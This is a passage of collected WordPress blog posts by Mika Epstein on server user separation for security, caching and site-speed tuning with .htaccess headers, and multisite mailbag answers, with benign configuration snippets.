The way security works for most people is entirely an FUD scenario. They fear what they don’t understand, which generates more uncertainty and doubt. I spent time recently [trying to break down that wall and talk about the behaviors in us that make things risky](https://halfelf.org/2014/dreamup-security/ "DreamUp Security"), and I’ll be speaking at WordCamp LA about it in September of this year. I understand totally why Sucuri, and many other people, phrase it this way, but since I firmly believe that education is the only true way to mitigate hacked sites, I want to explain the relationship of files to people.

If you’ve ever FTPd or SSHd into your website, you know you have a user ID. That ID owns the files on your server, but it’s not the only account on a server. Your ID is yours and yours alone. You can give someone else the password, but please don’t unless you trust them with your car. Once you’re logged in with your account, everything you see is connected. This means if you can see it, then anyone else who gets into your account can see it.
How does WordPress play into this? Well if you can see it logged in, then so can WordPress, to an extent. If a plugin or a theme has a specific kind of vulnerability, then it can be used to extract information like everything under that user account. A pretty common vulnerability I see is where the plugin allows you to read any file on the system, including the wp-config.php file, which gives people your database username and password (and it’s why I tell people to change *all* their passwords).
A very common thing for people to do, and I do this myself, is to run multiple domains under one user account. Many times they’re called ‘add on’ domains. In this case, you can actually visit https://ipstenu.org/helf.us/ and see the same site as you would at https://helf.us. This is problem fairly easily fixed with .htaccess (though if, like me, you also have mapped domains, it gets much messier):
```
RewriteEngine On
RewriteCond %{HTTP_HOST} ^(www.)?example.com$ [NC]
RewriteCond %{REQUEST_URI} ^/addon1/(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^/addonN/(.*)$
RewriteRule ^(.*)$ - [L,R=404]
```
All that said, if someone knows that helf.us and ipstenu.org are on the same server, and the software I use on one is vulnerable, it can be shockingly trivial to infect the other.
What is not trivial would be using an exploit on ipstenu.org to hack ipstenu.com. Yes, it redirects you to ipstenu.org, but it is a real website. The reason I would be shocked to find it infected, if ipstenu.org was, is that they’re under separate user accounts. If you logged in with the ipstenuorg ID, you would not, could not, see ipstenucom.
```
ipstenuorg@ipstenu.org [/home]# ls -lah
/bin/ls: cannot open directory .: Permission denied
```
And even if they knew there was a folder called ipstenucom, the couldn’t do anything about it except get in:
```
ipstenuorg@ipstenu.org [/home]# cd ipstenu.com
ipstenuorg@ipstenu.org [/home/ipstenu.com]# ls -lah
/bin/ls: cannot open directory .: Permission denied
ipstenuorg@ipstenu.org [/home/ipstenu.com]# cd public_html
-bash: cd: public_html: Permission denied
```
The separation of the users is going to protect me.
So to reiterate, if a site (or the account that owns a site) has access to other sites, and is hacked, yes, those other sites are at high risk. If the site has no access to anything but itself, they *will not* be hacked. And as I said before, most hosts go to tremendous lengths to ensure you cannot read someone else’s files or folders. The whole reason I can get into the ipstenucom is that the permissions on that folder allow it. Would it be safer to prevent it? Sure! And actually that’s not what you normally see when you’re on my servers.
```
ipstenuorg@ipstenu.org [~]# cd ../
ipstenuorg@ipstenu.org [/home]# ls -lah
total 12K
drwx--x--x 37 ipstenuorg ipstenuorg 4.0K Jul 23 02:04 ipstenu.org/
ipstenuorg@ipstenu.org [/home]# cd ipstenu.com
-jailshell: cd: ipstenu.com: No such file or directory
```
That’s right, I use jailed shell to prevent shenanigans, and even when I don’t, things are remarkably safe because I don’t permit users to snoop on other users. That said, as I was reminded we must never underestimate the ability of a fool, playing at sys admin work, to take their own pants down. It’s possible for a user to set up their own domain to be searchable by other accounts on the server, and to make it *writable* to those other users, which can cause a lot of problems.
Here’s your takeaway. Everything that is installed on your domain, active or not, is a potential vulnerability. Upgrade everything as soon as you can, delete anything you’re not using, don’t give more people the keys to the castle than you have to, and try really, really hard to think about what you’re doing.
**Categories:** How It Is
**Tags:** administration, security, servers
---
### [Just Push Publish](https://halfelf.org/2014/just-push-publish/)
**Published:** July 30, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** They're going to read it anyway. Or not.
**Content:**
> “Real artists ship.” — Steve Jobs, 1983
I don’t write good all the time. I’m a little lazy and spell poorly, I don’t proofread enough, and if I had a genie to grant me a wish, one would be for an editor who I wasn’t related or married to. When I post a new article, I often see typos and while I do go back and fix them, I still push publish (or schedule), knowing things aren’t perfect.
This is a major departure from the “traditional” way of writing, when you write, have it reviewed, edit, re-write, re-edit, and so on. To many people, this is seen as ‘lazy’ writing, where we toss out things that are ‘good enough’ and call it a day, but the reality is that publishing promptly, be it writing or code, is what keeps up with the fast changing pace of news, information, and needs. But when it comes to writing, it falls a little bit under the aegis of “If you build it, they will come.” Or rather, if you don’t build it, they won’t come at all.

## Publish or Perish
Well known to academia is the concept that if you don’t constantly publish works to sustain your career, you won’t *have* a career. The added pressure is that you have to publish fast so your information isn’t out of date before it hits the ground. The idea is that if you’re not publishing something then you’re not producing something, and you’re thereby sitting on your laurels. In software and blogging, this is actually important too! If you’re not producing code, or writing about it, you’re not demonstrating what you’ve learned. If you release code or write on your blog once a year, people will forget about you.
## Release and Iterate
Also known as “Release early, release often,” this model of development makes important the concept of early and frequent releases. This necessitates people test, though, and developers respond quickly to issues reported by users. WordPress works by this model. Reid Hoffman, the founder of LinkedIn, said “If you are not embarrassed by the first version of your product, you’ve launched too late.” And if you look at many of the recent technological innovations ([including the iPhone](http://ma.tt/2010/11/one-point-oh/)), version one was okay, but not great, and had a lot of bugs and annoyances.
## Fear, Uncertainty, Doubt
The biggest hold up to most of us pushing that publish button is FUD. What if we’re wrong? What if we’re saying things no one cares about? What if… We don’t want to be horribly embarrassed by that typo where we get their/they’re/there wrong, or worse, where we get all that technical information wrong. And it’s that place of fear, that home of uncertainty, that realm of doubt, that we stop. We don’t share what we know, we don’t explain what we think, and we turtle up.
## Democratizing Publishing
The mission of the WordPress open source project is to democratize publishing through Open Source, GPL, software. By letting any of us write what we want, we’re able to publish at will. That anyone can upload a book to Kindle or Apple and sell their works has changed the world. In many ways, it’s lowered the bar so anyone can sell anything which causes a dearth of quality. And yet, the stamp of quality products has never rested solely in the hands of ‘official’ publishers. Some of the best music we heard was from underground tapes made in basements. Some of the best stories we read were mimeographed in purple ink and handed out on the QT at fan conventions. All we’ve done here is take the barriers away and given you the freedom to say what’s on your mind.
## Write the Change You Want to See
It takes bravery to post your thoughts, technical or personal, out there. You should only put out work you can stand behind, you should put the best work you can do out there, but you should be willing to post. You should be willing to release that code. You won’t grow, you can’t grow, if you don’t step up and put yourself out there.
Don’t worry. We know you’ll fix it.
**Categories:** How It Is
**Tags:** essay, website
---
### [DreamUp Security](https://halfelf.org/2014/dreamup-security/)
**Published:** July 16, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Listen to me talk about security from a non-code perspective (as much as one can).
**Content:**
Not that long ago, I did a ‘DreamUp’ for my company, where we held a Google Hangout and I talked about WordPress security and how to be smarter about things. You can catch the video here:
http://www.youtube.com/watch?v=Uu-3-o80rEE
One thing I tried not to do was to list too many plugins and too much code because a lot of security talks are about how we’re all dooooomed, learn all this code. The concept of security is to be smarter about things, so to simplify it, I wanted to talk about the silly things we all do that make us LESS secure, and how to start thinking about what we do to know it’s smarter.
Here are some of the links from my talk:
- [htaccess blacklist/firewall](http://perishablepress.com/5g-blacklist-2013/)
- [WordPress Login Protection with .htaccess](https://halfelf.org/2013/wp-login-protection-htaccess/)
- [General thoughts on security](https://halfelf.org/2013/false-security/)
- [Google Authenticator plugin](http://wordpress.org/plugins/google-authenticator/)
**Categories:** How To, Video
**Tags:** security, wordpress
---
### [Mailbag: Playing the Middle](https://halfelf.org/2014/mailbag-playing-the-middle/)
**Published:** July 18, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's time to pull out the Jump to Conclusions Mat when everyone assumes you know everything!
**Content:**
This is from Ben in Minnesota and … It’s not about WordPress as much as learning and support, but here is the meat of his issue:
> I’m just learning things. I’m really familiar with Drupal and okay with a vps, but I took over a WP install on a dedicated server and I’m way out of my league! I don’t understand half the questions. They treat me like I should know everything already because I’m experienced and tell me to just ask the vendor. But the hardware scares me and I don’t know how to get the information I need to solve things!
>
> Do you have any advice, besides learning faster?
My least favorite role is when I have to play the middle man between two tech groups. Group A has a problem, so they ask me to ask it of Group B, and I have no familiarity with what the subject is. Happens a hell of a lot, and it exposes the lack of depth of knowledge in specific areas.
I hate it. It makes me feel like I’m stupid, and then when I ask for clarification, I get vague, top-level answers and what I need are examples. Much of this has to do with how I learn best, but the other problem is people have a tacit assumption that I know what the hell they’re talking about, when I clearly do not.

Basically? They’re giving me shitty support based on their preconceived notions about how “everyone” thinks. And yes, it pisses me off and I have been at the point of tears of anger me frustration over this before. I’ve been there, man, and recently too. It’s worse probably because I am clever and can pick things up quickly. They assume I know, or will figure it out, so I get half-assed help.
So. What do I do? Well first I quote them. “My DB guy said this \[quote\]. Do you need any specific information? I’ll ask him, but I’m not familiar with this topic.” Sadly that tends to net me a pretty generic reply like “Just filter it.” It does make me want to scream, you’re not alone there.
Lately I’ve been stopping them before it gets that far, though. When I’m told “Can you ask Group B about this?” I say “Can you explain like I’m 5, real fast, so I can make sure I ask them the right things and make sure that I don’t have to go back and forth really a million times and bug the hell out of you?” If I already understand a little about it, I may say “I thought that ModSecurity could hook into IP Tables and auto-block people who hammered my login files?” to set the tone of what I did know.
Basically the only path out of ignorance is to explain that you are uneducated in this topic, and while you will learn as fast as you can, you need a little more help than that. If they *still* won’t help you out, take them aside and ask if you’re doing something wrong, because you need their help in a different way than you’re getting. Be firm. Be up front. Be honest.
Good luck, Ben! And just for some fun, here’s a scene from Office Space:
People skills!
**Categories:** How It Is
**Tags:** mailbag, support
---
### [La Vitesse 2: Cruise Control](https://halfelf.org/2014/la-vitesse-2-cruise-control/)
**Published:** July 23, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The other side of speed is understanding what your server can cache for you. Sandra Bullock not included.
**Content:**
Now you know all about [caching](https://halfelf.org/2014/la-vitesse) and how it works. But what about speeding up the *server* itself?
Near the end of the previous post, I mentioned that all the caching in the world didn’t *really* speed up the server. This is somewhat of a lie, since if, say, you’re using Varnish to cache your site, then your visitors won’t be hitting your WordPress install, speeding it up for you to do work. But it’s not the full picture.
WordPress is big and it’s getting bigger and more complex and more impressive. So is Drupal and … well pretty much everything else. In order to make your site do more, like all that super fancy layout transformations, we have to upgrade and innovate. But then you start getting into extending these apps, like using custom fields and extra meta values to store more information so you can change search results in more impressive ways! Your site scrolls and changes backgrounds! Your site dynamically changes what products are available based on check boxes, without reloading!
What did that have to do with caching? Well … how *do* you cache things that aren’t static?

My coworker, Mike, likes to talk about things that should be cached and things that should never be cached. Things that have to be dynamic and run without a page refresh, like ajax and javascript, can be cached to an extent, since those plugins and Varnish will just keep the code in-line, which means it’ll still run. But when you start looking at dynamic things like shopping carts, we hit a new world and a new wall. But I’m not even talking about that level of caching. I’m talking about going back a layer into the part where WordPress (or any app) has PHP query the database. If we speed that up, caching safe content, can’t we speed things up? You bet we can!
A few years ago I talked about [APC](https://halfelf.org/2013/centos-and-php-5-4/ "CentOS and PHP 5.4") and how I was using it to speed up PHP by having it cache things. Then less than a year later, [I switched to Zend and memcached](https://halfelf.org/2013/trading-apc-for-zend/). I did those things because I decided that it would be better to have my server, a workhorse, do the hard work instead of asking WordPress to do it. And this was, in general, a pretty good idea.
Memcached is an add-on for your server, and acts as “an in-memory key-value store for small chunks of arbitrary data (strings, objects) from results of database calls, API calls, or page rendering.” In English? It remembers what you did and can retrieve results faster because of it. Of course, you have to tell your apps to play well with it, but once you do, the backend of your site starts to speed up because, hey, caching! The [Illustrated Memcache’d story](http://toblender.com/memcached-story-part-1/) is kind of an awesome explanation (the images on [the archive page](http://toblender.com/tag/memcached/) are broken, but the links work). And yes, I do use memcached and ZendOptomizer+ on my server, because it really does make things faster, even when two of the ten domains are having a 10k pageviews in a day.
I keep telling everyone my server isn’t overkill….
The point of that, though is the other end of speed is totally separate from your application code. When you install WordPress, you know it runs SQL and PHP, so if you can make those faster, WordPress will be faster. The same applies to speeding up Apache, maybe by putting Nginx in front of it, or maybe by tuning the hard to understand settings in httpd.conf to make sure that it elegantly handles the 300 people who come running to your site at once.
But unlike plugins, this aspect of server speed is the hard stuff. When you look at WP Super Cache, you think it’s complicated until you see W3 Total Cache. Both are amazing and awesome, but they’re giving you a ton of options and asking you to make decisions. The same is true of the servers, but now you have even *more* options. The world is your oyster, and we haven’t even looked at hardware.
For me, it boils down to how can I make my server do it’s job fast and efficiently. If that means I hire someone to install software to cache better, or I pay for more memory, then that’s what I do. I also trim the fat and get ride of everything I’m not using and don’t need, so my server doesn’t have to do more than it needs to. And one day, one day, I’ll be looking at nginx for everything.
**Categories:** How It Is
**Tags:** administration, essay, performance, servers
---
### [La Vitesse](https://halfelf.org/2014/la-vitesse/)
**Published:** July 21, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The art of caching and catching content. Understanding what makes up static content is the first step to speed.
**Content:**
A little bit ago I [talked about Varnish](https://halfelf.org/2014/caching-varnish/), how to install and configure it, and why I’m not using it at the moment. The actual goal of all this stuff is to speed up a website. Site speed is an insanely fickle beast, and measuring it without going insane is nigh impossible.
When we talk about site speed we don’t *just* mean how fast the site loads. We mean how well it performs on the front and back. Does it load everything it needs to be a page in a non-jumpy way? Does it load and then magically change to another format because you’re on an iPad? Does it hang and then load? We mean all those aspects that go into a site and make it zippy.
Which brings us to caching. The goal of caching is blindingly simple: Don’t put extra load on the server while serving up webpages and make it faster. The *how* of caching is crazy.
When I talked about [Multisite Caching](https://halfelf.org/2014/mailbag-multisite-caching/ "Mailbag: Multisite Caching"), I brought up the different types and why and where I saw each one being used. But I didn’t really explain why very well. In order to understand it, you need to understand why we *need* to cache.
If your website was all plain, static, HTML files, it would be really fast. The web was (initially) built for that stuff and it was all basic. “I want this page.” And the server would reply “Okay, here it is and some images.” When we start adding in stuff like dynamic PHP (WordPress), we put more load on the server because for every time someone visits your site, it has to ask WordPress “Do you have this page?” and WordPress has to check, see if it does, generate the output, and then it loads. The more complex the site is, the more big images and javascript fancy stuff, the slower the site gets.
Logical stuff, right? You’re also going to be limited by how fast your server is and how much of it you can use. If you’re on a dedicated server, the limit is your hardware and bandwidth pipe. If you’re on shared, though, the limit is lower, and really varied and complicated. While I mention a ‘bandwidth pipe’ and we techs always joke about the sturdy internet tubes, it’s not a fully accurate analogy, and even with all the bandwidth available in the world, the speed of your server is going to limit you far more.

There’s a phenomena called the “noisy neighbor” which impacts people on shared hosts a lot and is a lot of why people get confused about the bandwidth thing. You see, if you’re on shared servers, you *share* services. If one of your neighbors uses a lot of memory, there’s less available for you. This makes perfect sense, and hosts combat this by limiting how much you can do. I know a lot of companies say that you have ‘unlimited’ space and bandwidth, and while that’s true, it doesn’t mean you get to use all the power available to the server. Basically on shared servers, when you see ‘unlimited’ you should read it as ‘unlimited until you start making other people’s sites run worse.’
What does this have to do with caching? It’s the reason *why* we cache! WordPress does not make static HTML pages at all. If you look on your server for a file named ‘about’ you won’t find one. Instead, WordPress uses the .htaccess file to magically run your request for `example.com/about/` through the index.php file, which then checks the database and pulls the content for that page. It’s entirely dynamic, and every single page request is run through the database. And yeah, that gets slow over time. The dynamism is fantastic though, and that’s why things like comments magically update the rendered page right away.
Thus, in order to make our super dynamic websites run by WordPress run faster, we turn to methods to generate static file caches. Converting a WordPress page from the PHP queries to a static file is complicated, and in essence every single tool has to generate that dynamic page, copy the output, and save it to a location where it can be pulled from directly. At the same time, it has to alter the server in some way to say “If I have a static file, use that instead.” When you use a plugin, generally it does this via your .htaccess file.
The obvious problem with this is that while the page may be faster for visitors, you’re still putting load on your server by having it generate these html files and serve them. And you, the logged in user, won’t get the cached page, generally, not even with something as cool as Varnish, so we have to still consider the rest of the server.
Speaking of Varnish … the simplest explanation I can give you about it is this: Instead of having WordPress use a plugin to generate the page, Varnish lets WordPress load, takes a snapshot of the resulting page, and saves it somewhere else. That means that in-between your visitor and the WordPress install is the Varnish cached page, which means the load is off your server more! No more loading the html page, Varnish is going to do it and make it a little faster. You’ll still want a plugin to allow WordPress to tell Varnish to delete pages, but it can significantly run faster.
But … what about the server speed itself? Is there a way to cache that and speed it up to? There is! But that’s a longer post, all it’s own.
**Categories:** How It Is
**Tags:** essay, performance, website, wordpress
---
### [Speed Up Your Site](https://halfelf.org/2012/speed-up-your-site/)
**Published:** May 10, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making your site run faster, when you don't have access to the root of your server, is hard, but not impossible.
**Content:**
The majority of what I do to speed up my website is on the server level. In 2009 I [moved to a VPS](https://halfelf.org/2009/youre-not-the-boss-of-me/), and just last year I switched to a [Smart Server](https://halfelf.org/2011/smart-servers/). I have access to install APC, to tune MaxClients, and to upgrade my PHP whenever I darn well want to. And I regularly use these tools to fine tune my server so it’s lean, fast, and efficient. 75% of why my domains run this fast under this much stress (I have two fan sites, they get hammered), is that I’ve done all this work, including some of the stuff I did on [DDOS prevention](https://halfelf.org/2011/timthumb-pseudo-ddos-effect/).(My CT\_LIMIT is set to 75 right now, and that seems to be the perfect balance. The only people hurt are some silly people in Brazil who like to open 100 pictures all at once. I’ve explained why this is bad.)
However, not all of you have access to the server to make all those cool tweaks and changes to speed up your website. If you’re on shared hosting (and there’s nothing wrong with that), you can’t edit httpd.conf, you can’t always edit php.ini, and you sure can’t upgrade PHP on your own. Don’t worry, there are still things that you can do!
The first thing you should do is understand that the more complicated your site is, the slower it’s going to be. So if you want a site with all those bells and whistles, you have a lot more work to do than a simple, plain, site. These are the tradeoffs we must accept in all things.(The exception being, perhaps, cookware. I have some awesome Lodge cast-iron pots and pans, and they’re pretty expensive for their simplicity. Then again, they’re made with such amazing skill and precision, they’re not ‘simple’ to make. So YMMV.) Reduce the complications and things run faster. You have to have a balance between ‘everything’ and usability. If your site is sexy as all get out, but slower than a truculent five year-old on a family walk, then you’re doing it wrong. That doesn’t mean you need to have the world’s most boring site, it just means you have to start learning what it is that makes *your* site slow. When you look at themes and plugins for a site, remember the more you have, the slower things may become, so use them wisely.
My favorite tools to show why a site is slow are [YSlow](http://yslow.org/) and [PageSpeed](https://developers.google.com/speed/pagespeed/). **YSlow** is a browser add-on you can use with Chrome, Firefox, and every other commonly used browser. Except for IE. Once installed, you simply go to the webpage and run the tool to get a scan of your site. You get ‘graded’ on an A through F scale, with F being the worst, and the grades are computed based on a fairly understandable methodology.(See [FAQ: Grading](https://github.com/marcelduran/yslow/wiki/FAQ#wiki-faq_grading)) **Page Speed** is Google’s version, and I prefer it, but only because I don’t have to install anything to do it, and it gives really good explanations of what’s wrong. There’s also [Web Page Test](http://www.webpagetest.org/), which is great to find out if your site flails on different browsers, as well as giving you accurate speed breakdowns.
Here are three of my sites, all installed on this server, scanned by YSlow:
[](https://halfelf.org/2012/speed-up-your-site/ipstenu-yslow/)
Ipstenu (B)
[](https://halfelf.org/2012/speed-up-your-site/halfelf-yslow/)
HalfElf (D)
[](https://halfelf.org/2012/speed-up-your-site/jfo-yslow/)
JFO (C)
And here are the same three as SiteSpeed:
[](https://halfelf.org/2012/speed-up-your-site/ipstenuorg-pagespeed/)
Ipstenu (89)
[](https://halfelf.org/2012/speed-up-your-site/halfelf-pagespeed/)
Halfelf.org (85)
[](https://halfelf.org/2012/speed-up-your-site/jfo-pagespeed/)
JFO (84)
I’m not going to go through every option, most of them are self explanatory (put the CSS at the top and JS at the bottom). Instead, I’ll explain the weirder ones that you can tweak yourself, and some that you can ignore. If you’re using a tool like W3 Total Cache, you actually can configure most of this directly in the tool instead. For what it’s worth, I did ‘fix’ my scores with both sites and I’m now in the 90s from Page Speed and .. Well not so much with YSlow. The two disagree on how much ‘weight’ to give various errors. Page Speed thinks minification is low priority, and doesn’t judge you about a CDN. It also understands that you can’t gzip what you don’t own. If you use YSlow, make note of what you score poorly in, and fix those as best you can.
### Things I Ignore
When I get complaints of too many HTTP requests, that just means I’m calling ‘too many’ JS scripts and stylesheets. YSlow doesn’t say which ones those are, which isn’t actually helpful to the novice. If you click on ‘Read More’ it just explains why this is bad. The idea here is that you should have one CSS file, but realistically, any dynamically generated site is going to have more that one. Especially when you consider I’m calling some from Google, Facebook and Twitter for my sharing buttons. While this does slow your site down, unless you have 20 stylesheets on your own site (again, I’m not counting the ones on other domains), it’s not that big of an issue. If you minimize what you have, and combine as much as you can, you’re going to be okay.
I also totally ignore any scores related to my CDN, or rather the fact that I’m *not* using one. Yes, a CDN will make your site much faster, but I don’t think this is applicable for everyone, and I generally ignore that value.
Finally I ignore suggestions to use cookie-free domains, but that’s because I’m running WordPress, and it needs cookies.
### Things I Fix in .htaccess
You can fix most *expires headers* errors, but only the ones that relate to your site. When I look at a scan for one of my domains, I see that the items my site loads that don’t have Expires headers are a flash module from PayPal, Google’s +1 javascript, a banner, and two gravatars. Those are all items that, yes, can slow my site down, but they’re outside my ability to fix! And in the case of gravatars, I don’t want them to Expire too soon, since they may change. I’m going to, again, ignore this.
")
Why *wasn’t* my server listed? It’s because I added Expires headers to my site. Obviously. The easiest way to do this for your site is to put the following in your `.htaccess` file(If you’re using WordPress, Drupal, or any web app that has it’s own .htaccess rules, remember to put these *above* the section for them! It’s important.):
```
ExpiresActive on
ExpiresDefault "access plus 1 year"
```
What this will do is turn on Expires and set to to today plus one year. Now this isn’t actually the best way to do it, as it leaves out a lot of variables, but for most people, it’s good. Keep in mind, the further you set out this expires, the harder it is to change any files! For example, if I upload a PNG with a 1 year expiration, and then upload a new version, no one will see it (unless they flush their browser cache). Don’t set this further than a year, and only set it for things you know aren’t changing often.(You’ll notice WordPress sourcecode has your JS and CSS files saved with `?ver=x.x` at the end. This lets you work around the expires, as when you change your CSS, it changes the version, and thus, pushes the changes down to your users.)
*Cache-Control* is the half-sibling of Expires, and lets you specify what files should be cached and for how long. The [Ask Apache](http://www.askapache.com/htaccess/apache-speed-cache-control.html) site has some great examples, as this is what I generally use:
```
# 480 weeks
Header set Cache-Control "max-age=290304000, public"
# 2 DAYS
Header set Cache-Control "max-age=172800, public, must-revalidate"
# 2 HOURS
Header set Cache-Control "max-age=7200, must-revalidate"
```
The ‘must-revalidate’ tag is what makes sure your webpages changes actually get picked up quickly. Nothing’s worse than editing a typo, and not having it fixed for your readers!
Related to that is *ETags*, which is a bit weird, but this too is something you can tweak. If you disable ETags, everyone has to trust your cache and that gives you a lot of control. It sounds easy, but there’s a reason we should be using ETags for some situations. My sites are using a pretty complex rule that was set by W3TC for me. It sets my Cache Control and ETag, generating the rules I need. If you just want the basics, though, [AskApache’s Speed Tips: Turn Off ETags](http://www.askapache.com/htaccess/apache-speed-etags.html) will get you there. For what it’s worth, a small site doesn’t need to worry about this too much.
If you want to grab my default .htaccess starter, here you go!
[download TXT file](https://halfelf.org/wp-content/uploads/sites/2//2012/05/htaccess.txt)
### Things I Fix via CPanel
You can also speed up your site by enabling *gzip*. I’d say I left it off on purpose to show you the error, but the fact is I forgot to turn it on when I moved to a new server. If you have cPanel, this is stupid easy. Log in, go to ‘Optomize Website’ and turn it on.

Doing improved a lot of results on my site, though it didn’t want to consider three of my .js files gzipped for some reason, though it did on other domains on the same server when I changed it. I’m not terribly concerned at this point, since I used the [HTTP Compression Test (from What’s My IP?)](http://www.whatsmyip.org/http-compression-test/) and it says I’m compressed.
### Things I Fix with Elbow Grease (or Plugins)
*Minification*. If you view the source of this site, it’s ugly. Everything’s all crammed up without line breaks, and finding anything is a hassle. That’s because I minified my content. If you don’t have a plugin or add-on for your site that can do that for you, you’ll need to do this manually, via [Minify CSS](http://www.minifycss.com/css-compressor/) and [Minify JS](http://www.minifyjs.com/javascript-compressor/). It’s more of a hassle to do that manually, since it’s hard for you to edit later. After-the-fact compression can slow your site a little, but it’s easier to maintain and still faster than non-minified code. Now I use W3TC, which has a minification tool built in, but there are other WordPress plugins that do the same thing.
### The Rest
There are a lot more tips and tricks to getting your site running faster. I mention [W3 Total Cache (W3TC)](http://wordpress.org/extend/plugins/w3-total-cache/) multiple times because it works great. There’s also [WP Super Cache](http://wordpress.org/extend/plugins/wp-super-cache/), which I prefer for smaller hosts and shared servers. W3TC is very, very, very complicated, so be warned. WP Super Cache isn’t a ‘lesser’ tool, it’s just different, and I advocate using either one if your site is moderate to large.
If your site is small, you really can get by with just minifying. There are [a lot of minification plugins](http://wordpress.org/extend/plugins/tags/minify) out there. Images can be reduced in size by compressing them more via Smush.it (there’s a plugin called [WP Smushit](http://wordpress.org/extend/plugins/wp-smushit/) for WordPress). Many people have also suggested using a Lazy Load plugin, like [jQuery Image Lazy Loading](http://wordpress.org/extend/plugins/jquery-image-lazy-loading/), which loads images on demand. I like it, but it slows my site down, and doesn’t work well at all on ones with a lot of dynamic images. I may be using it wrong.
Anyone can take advantage of a free CDN, [Cloudflare](https://www.cloudflare.com/) has a free plan.(Caveat: I don’t use CDN, nor have I looked at Cloudflare in depth.) They claim to protect you as well as speed things up, and I’ve heard interesting (good) reports on it.
Many people advocate using plugins to tune your database, but I really don’t like using a plugin for that. You can optimize your database with a cron job instead, or even just do it manually now and again, if you think your site is sluggish. For WordPress I limit my revisions and empty my trash more often with two lines in my `wp-config.php`:
```
define('WP_POST_REVISIONS', 5);
define('EMPTY_TRASH_DAYS', 5 );
```
When all else fails and nothing you can do speeds up your site, take a look at your server. If the server itself is really slow, all the time, and I mean you can hardly get your email, ask your host if you can be put on another cluster. A lot of shared hosts are oversold, since not everyone needs all the space and power. It makes sense, but some hosts monitor the status of these servers and move people around if they become bad neighbors, while others wait for you to notice. Opening up a line of communication with your host is always a good thing. Remember, you’re paying these guys! They should be willing to help you out, or you should leave and get a new host.
At a certain point, you’ll notice that the only ‘fixes’ are to throw more money at it, buying a better host, better themes, better tools, and so on. And that’s simply a fact of life. You can’t live forever on ramen and hot dogs.
**Categories:** How To
**Tags:** administration, hosting, htaccess, website
---
### [Mailbag: Multisite Files](https://halfelf.org/2014/mailbag-multisite-files/)
**Published:** July 4, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Moving Multisite Files. Again? Why not!
**Content:**
Another mailbag! This one is a few people… No, this is the one *most* people ask me. I understand why.
> [@jbenton](https://twitter.com/jbenton?ref_src=twsrc%5Etfw) [@Krogsgard](https://twitter.com/Krogsgard?ref_src=twsrc%5Etfw) Basically read everything [@Ipstenu](https://twitter.com/Ipstenu?ref_src=twsrc%5Etfw) has written (including when she suggests to not use it).
>
> — Andrew Nacin (@nacin) [December 20, 2013](https://twitter.com/nacin/status/413910740756869120?ref_src=twsrc%5Etfw)
I really do understand it’s intent, it’s goals, and I try to keep up with it. I use it daily. When I write plugins for it, I spend hours trying to decide how to properly support it. I may even write in checks on the ones that *don’t* work on Multisite to auto-fail when you activate and prevent you from using them. I will argue till the cows come home that Multisite is for multiple **separate** sites. But that said, there’s also an exception to every single rule.

Let’s get to the letter! Kevin in Canada has a Multisite with a uploaded files conflict:
> The site is setup as default /files for the upload dir. Problem is, my client already has a directory in the root called /files. It cannot be changed as it houses software exe’s and needs to remain as /files. I need to set the upload path to /media for the images and not mess the site up. I read your blog post about this issue but wondering if you could clarify the steps. Right now, software download requests are redirected to the homepage!
The steps are, alas, complicated because the situation is complicated. The blog post Kevin’s referring to is called [Dumping ms-files](https://halfelf.org/2012/dumping-ms-files/ "Dumping ms-files"). If you’ve installed WordPress as of WP 3.5, this is the new default anyway. That would mean that Kevin has an *old* Multisite.
The ‘easiest’ option would be to start over with Multisite, use a fresh install of 3.9 and go from there. Second to that? Well the dumping MS files stuff is not easy and it really can’t be easy. You can try [trepmal’s directions](https://trepmal.com/2013/03/24/removing-ms-files-php-dependency/) but after that you’re getting into writing a little bit of your own custom directions, and *that* is going to be really complicated.
I’m not 100% clear on *why* these can’t be moved, so I’m guessing that the issue is the lost redirections. While I believe good URLs never change, I think that redirecting them is okay. These are .exe files, which means if, *before* the .htaccess rules for WordPress, you were to put in a rewrite rule and check ‘If you’re looking for /files/\*.exe, go to /otherlocation/filename instead’ that might get around it, or even to say ‘if files and NOT exe.’ Maybe something like this:
```
# uploaded files
RewriteCond $1 !\.(exe)
RewriteRule ^files/(.+) wp-includes/ms-files.php?file=$1 [L]
```
Mind you it’s *weird*. Either you had Multisite first, which would explain the `/files/` for uploads, or you had the EXEs in `/files/` first, which doesn’t explain how you got this far into it at all, since 3.5 came out in December 2012, and that would imply you built the Multisite in 2012 and have had this problem for at least 18 months, give or take, which is a long time to have a problem and do nothing about it.
If you started with WP 3.5 or later, you just make a `/files/` folder and off you go, no code needed. If you started *before* that, you can follow the directs to undo MS files and then make a files folder and be done. Make sure not to forget about the `.htaccess` rules!
**Categories:** How To
**Tags:** mailbag, multisite, wordpress
---
### [Mailbag: Multisite Theme Activation](https://halfelf.org/2014/mailbag-multisite-theme-activation/)
**Published:** July 11, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Multiple domains, multiple themes, and dynamic switcheroos? I'm going to have to vote no.
**Content:**
Briany from Ireland has a cool idea (put the guilt away, Briany, I think this is a pretty wild concept and I like it). This is the sort of ‘support’ email I love because it’s not a yes/no answer, but a theoretical concept to think about and parse!

Here’s the meat of the email:
> SO MY FASCINATING QUESTION IS THIS; In a multi site network is there any way to use 2 separate themes for each or any sub-site based on the URL used (or any other method) Example 1 Visit www.sitename.platform.com and view the whole site using theme A (Standard) Visit www.sitename.com and view the whole site using theme B (custom)
At first I thought “Briany can’t possibly be asking ‘How do I activate a separate theme per site.'” and then I realized the question was for the network! So to phrase it in WordPress terms, if I visit the site via foo.example.com, I get theme foo on every site on the network.
(If you just want Site A to have one theme, and Site B another, that’s easy. Either network activate the theme and select it on the site, or go to WP Admin -> Network -> Sites, click on edit, click on the themes tab, and activate the theme you want for the sites. Then go back to the site and select that theme. A couple steps, yes, but relatively easy.)
Theoretically yes, yes you can. There’s a plugin called [Theme Switcher](https://wordpress.org/plugins/theme-switcher/) which lets users pick, and based on some code on StackExchange, [you can change the theme based on users](https://wordpress.stackexchange.com/questions/33335/switch-theme-through-options-panel/33409#33409), but the issue here is that you want to only change it per domain for that user.
